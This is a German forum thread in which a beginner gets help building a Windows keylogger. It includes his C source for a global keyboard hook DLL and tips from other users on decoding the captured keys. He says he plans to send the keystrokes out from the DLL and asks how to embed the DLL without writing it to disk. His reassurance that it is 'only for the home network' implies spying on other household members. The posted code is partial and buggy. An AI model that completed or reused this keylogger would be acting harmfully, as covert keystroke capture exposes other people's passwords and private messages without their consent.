Hookdll - Tastatureingaben übergeben
-
Hi flenders!
Vielen Dank für deine Tipps!
Werde wahrscheinlich die Daten direkt aus der DLL senden - das andere ist mir noch zu kompliziert
Der Keylogger ist übrigens nur für unser Heimnetzwerk gedacht - also kein Grund zur Sorge

-
Mr. Carrison schrieb:
Der Keylogger ist übrigens nur für unser Heimnetzwerk gedacht - also kein Grund zur Sorge

Dann bin ich ja beruhigt

-
Hi Flenders!
Kannst du mir noch einmal weiterhelfen?
Wie kann ich die DLL-Datei in mein Projekt einbinden, ohne sie als
wirkliche Datei abzuspeichern? Benutze zur Zeit "LibMain" in der DLL
-
Mr. Carrison schrieb:
Wie kann ich die DLL-Datei in mein Projekt einbinden, ohne sie als wirkliche Datei abzuspeichern? Benutze zur Zeit "LibMain" in der DLL

Ich verstehe irgendwie nicht so ganz, was du vorhast
- btw: ich hab noch nie eine eigene DLL geschrieben 
-
OK das Problem hat sich erledigt (falsch verstanden
)
Ich frage mich nur, warum keine Meldung beim Drücken einer Taste ausgegeben wird
:#include <windows.h> #include "hookdll.h" #pragma data_seg ("Shared") HWND hWindow = 0 ; #pragma data_seg () #pragma comment (linker, "/section:Shared,RWS") LRESULT CALLBACK KeyboardHookProc (int, WPARAM, LPARAM) ; HHOOK hhkHook ; HINSTANCE hDllInstance ; int APIENTRY DllMain (HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved){ switch (fdwReason){ case DLL_PROCESS_ATTACH : hDllInstance = hInstance ; break ; } return TRUE ; } EXPORT BOOL CALLBACK SetupHook (/*HWND hParent*/){ //hWindow = hParent ; hhkHook = SetWindowsHookEx (WH_KEYBOARD, KeyboardHookProc, hDllInstance, NULL) ; return TRUE ; } LRESULT CALLBACK KeyboardHookProc (int nCode, WPARAM wParam, LPARAM lParam){ MessageBox(NULL, "Taste", "Taste", MB_OK); if (nCode == HC_ACTION){ if ((lParam & 1073741824) != 1073741824){ MessageBox(NULL, "Taste gedrückt", "Taste gedrückt", MB_OK); } } hhkHook = SetWindowsHookEx (WH_KEYBOARD, KeyboardHookProc, hDllInstance, NULL) ; return CallNextHookEx (hhkHook, nCode, wParam, lParam) ; } EXPORT BOOL CALLBACK UninstallHook (void){ UnhookWindowsHookEx (hhkHook) ; return TRUE ; }// hookdll.h: #define EXPORT __declspec (dllexport) #define IMPORT __declspec (dllimport) EXPORT BOOL CALLBACK SetupHook(/*HWND*/); EXPORT BOOL CALLBACK UninstallHook(void);
-
Du hast den Hook aber schon mit SetupHook eingerichtet, oder?!

-
Klar! Hab das Problem jetzt auch gefunden - lag nämlich an einem anderen Teil
meines Codes
Gibt es eigentlich eine Möglichkeit, den Inhalt des wParams (oder lParams) in einer MessageBox auszugeben?
THX
-
Du musst den Inhalt halt selbst erst entsprechend formatieren, wenn du ein sinvolles Ergebnis haben willst

-
Wie kann ich den Inhalt denn am besten formatieren?
Sorry für die dumme Frage, aber ich bin halt noch ein kleiner Anfänger
-
hey, ich krieg das irgendwie nicht hin

kannst du Mr. Carisson, bitte mal deine mainfuntion posten, wäre dir echt voll dankbar, ich hoffe ich werde dadurch mehr verstehen :|
bitte, helf mir
-
@Mr. Carisson: wParam und lParam haben je nach Message völlig unterschiedliche Bedeutungen, so allgemein geht das nicht

-
Nö. wParam ist immer der virtual key code.
-
Achso, hatte das irgendwie allgemein verstanden

Vielleicht MapVirtualKey oder To Ascii

-
Wie kann ich wParam denn mit MapVirtualKey "auswerten" und das Ergebnis in eine Variable schreiben? Oder aktzeptiert die Funktion MapVirtualKey schon Variablen vom Typ WPARAM

PS: Übriegns vielen Dank für die ganzen Antworten! Wenn ich fertig bin, poste ich mal den gesamten Code meines Keyloggers

-
Keine Ahnung, ob das so korrekt ist, aber er zeigt zumindest mal etwas vernünftiges an:
char str[3] = {0}; //BYTE keyStates[256]; //GetKeyboardState(keyStates); //ToAscii(wParam,lParam,keyStates,(unsigned short *)str,0); MapVirtualKey(wParam,2); MessageBox(NULL,str,"",0);Aber müsste es nicht eigentlich auch möglich sein direkt (so wie bei WM_CHAR) das Zeichen zu bekommen

-
danke @Mr. Carisson, währe echt voll nett ^^..